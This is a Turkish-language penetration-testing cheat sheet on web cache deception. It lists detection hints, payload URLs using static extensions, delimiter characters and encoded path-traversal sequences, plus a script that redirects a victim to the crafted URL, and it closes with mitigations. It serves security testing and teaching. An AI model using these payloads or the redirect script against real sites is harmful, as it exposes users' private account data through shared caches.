Web Cache Deception
Web Cache Deception Nedir?
Web cache deception, bir saldırganın bir web önbelleğini hassas, dinamik içeriği depolaması için kandırmasını sağlayan bir güvenlik zafiyetidir.
Bu zafiyet, önbellek sunucusu ile kaynak sunucusunun istekleri işleme şekilleri arasındaki tutarsızlıklardan kaynaklanır.

Yöntemler
Cache Kontrolü
Uygulamada cache olup olmadığını anlamak için aşağıdakileri kontrol edebiliriz. Zaten cache yoksa zafiyet olamaz.
X-Cache Header
Cache-Control Header
Yanıtlar arası çok zaman farkı
Static Extension and Directory
Origin server en sondaki / karakterini dikkate almamalı.
Cache server sondaki uzantıya veya dosya ismine bakarak cache almalı.
https://example.com/my-account/a.css
https://example.com/my-account/a.js
https://example.com/my-account/a.ico
https://example.com/my-account/a.png
https://example.com/my-account/a.jpg
https://example.com/my-account/a.exe
https://example.com/my-account/robots.txt
https://example.com/my-account/index.html
https://example.com/my-account/favicon.ico
Redirect Kodu
Kurbanı linke yönlendirmek için script.
<script>document.location="https://example/my-account/a.js"</script>
Delimeter List
Sunucunun desteklediği bir delimeter karakter varsa aşağıdaki liste ile deneyebiliriz.
https://example.com/my-account;a.css
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
%00
%0A
%09
%21
%22
%23
%24
%25
%26
%27
%28
%29
%2A
%2B
%2C
%2D
%2E
%2F
%3A
%3B
%3C
%3D
%3E
%3F
%40
%5B
%5C
%5D
%5E
%5F
%60
%7B
%7C
%7D
%7E
Origin Server Directory Normalization
Origin server %2f karakterini encode etmeli
/static/..%2fmy-account -> /my-account
Cache server %2f karakterini encode etmemeli
/static/..%2fmy-account -> /static/..%2fmy-account
Eğer bu şekilde ise aşağıdaki payloadları kullanırız.
https://example.com/static/..%2fmy-account
https://example.com/assets/..%2fmy-account
https://example.com/scripts/..%2fmy-account
https://example.com/images/..%2fmy-account
Cache Server Directory Normalization
Origin server %2f karakterini encode etmemeli fakat delimeter çözmeli
/my-account;%2f%2e%2e%2fstatic -> /my-account
Cache server %2f karakterini encode etmeli fakat delimeter çözmemeli
/my-account;%2f%2e%2e%2fstatic -> /static
https://example.com/my-account;%2f%2e%2e%2fstatic
https://example.com/my-account;%2f%2e%2e%2fassets
https://example.com/my-account;%2f%2e%2e%2fscripts
https://example.com/my-account;%2f%2e%2e%2fimages
Önlemler
Dinamik sayfaları işaretlemek için her zaman
Cache-Control
başlıklarını kullanın,no-store
veprivate
yönergeleriyle ayarlayın.CDN ayarlarınızı, önbelleğe alma kurallarınızın
Cache-Control
üstbilgisini geçersiz kılmayacağı şekilde yapılandırın.CDN'nizin web cache deception saldırılarına karşı sahip olduğu tüm korumaları etkinleştirin. Örneğin, Cloudflare's Cache Deception Armor.
Kaynak sunucu ile önbelleğin URL yollarını yorumlama biçimleri arasında herhangi bir tutarsızlık olmadığını kontrol edin.
Araçlar
Kaynaklar
Last updated
Was this helpful?